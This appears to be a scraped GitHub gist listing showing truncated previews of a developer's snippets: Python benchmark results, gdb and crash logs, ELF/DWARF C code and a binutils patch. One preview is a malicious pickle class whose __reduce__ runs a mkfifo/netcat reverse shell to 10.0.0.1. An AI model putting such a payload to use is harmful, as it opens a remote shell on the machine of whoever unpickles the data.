Benchmark | 2022-12-21_09-50-main-a7715ccfba5b | 2022-12-21_14-11-gc_nogen-663a9654f714 |
---|---|---|
async_tree_io | 1.52 sec | 658 ms: 2.31x faster |
async_tree_memoization | 753 ms | 397 ms: 1.89x faster |
async_tree_none | 621 ms | 334 ms: 1.86x faster |
async_tree_cpu_io_mixed | 924 ms | 607 ms: 1.52x faster |
xml_etree_iterparse | 121 ms | 98.7 ms: 1.23x faster |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Attaching and calling dlopen fails: | |
``` | |
(gdb) call (void*)dlopen(0, 2) │>>> test test_exceptions failed -- Traceback (most recent call last): | |
Couldn't write extended state status: Bad address. │ File "/opt/_internal/cpython-3.8.13/lib/python3.8/test/test_exceptions.py", line 1256, in test_memory_error_in_PyErr_PrintEx | |
An error occurred while in a function called from GDB. │ rc, out, err = script_helper.assert_python_failure("-c", code % i) | |
Evaluation of the expression containing the function │ File "/opt/_internal/cpython-3.8.13/lib/python3.8/test/support/script_helper.py", line 167, in assert_python_failure | |
(dlopen@plt) will be abandoned. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <string> | |
#include <vector> | |
#include <stdexcept> | |
#include <elfutils/libdw.h> | |
#include <elfutils/libdwfl.h> | |
#include <dwarf.h> | |
#include <fcntl.h> | |
#include <unistd.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/bfd/elf.c b/bfd/elf.c | |
index 84a5d94281..a0bd5203f5 100644 | |
--- a/bfd/elf.c | |
+++ b/bfd/elf.c | |
@@ -5943,6 +5943,11 @@ assign_file_positions_for_load_sections (bfd *abfd, | |
link_info->callbacks->info ("%X"); | |
} | |
+ /* If we have a PT_LOAD segment with no sections that is empty, | |
+ then we need to drop it or some loaders will complain. */ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fcntl.h> | |
#include <gelf.h> | |
#include <libelf.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sys/mman.h> | |
#include <sys/stat.h> | |
#include <unistd.h> | |
#include <fcntl.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pickle | |
import base64 | |
import os | |
class Evil: | |
def __reduce__(self): | |
cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f') | |
return os.system, (cmd,) | |
if __name__ == '__main__': |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Process: a.out [63465] | |
Path: /Users/USER/*/a.out | |
Load Address: 0x100000000 | |
Identifier: a.out | |
Version: ??? | |
Code Type: ARM64 | |
Platform: macOS | |
Parent Process: debugserver [63466] | |
Date/Time: 2023-06-14 18:19:15.597 +0100 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <elfutils/libdwfl.h> | |
#include <elfutils/libdw.h> | |
#include <sys/ptrace.h> | |
#include <unistd.h> | |
#include <cstdio> | |
#include <cstdlib> | |
#include <sys/wait.h> | |
#include <sys/ptrace.h> | |
#include <sys/types.h> | |
#include <sys/wait.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <elf.h> | |
#include <fcntl.h> | |
#include <link.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <elf.h> | |
#include <fcntl.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from importlib.resources import path | |
import pathlib | |
from pygments import highlight | |
from pygments.lexers import PythonLexer | |
from pygments.formatters import HtmlFormatter | |
from collections import defaultdict | |
from dataclasses import dataclass | |
from memray import FileReader |
NewerOlder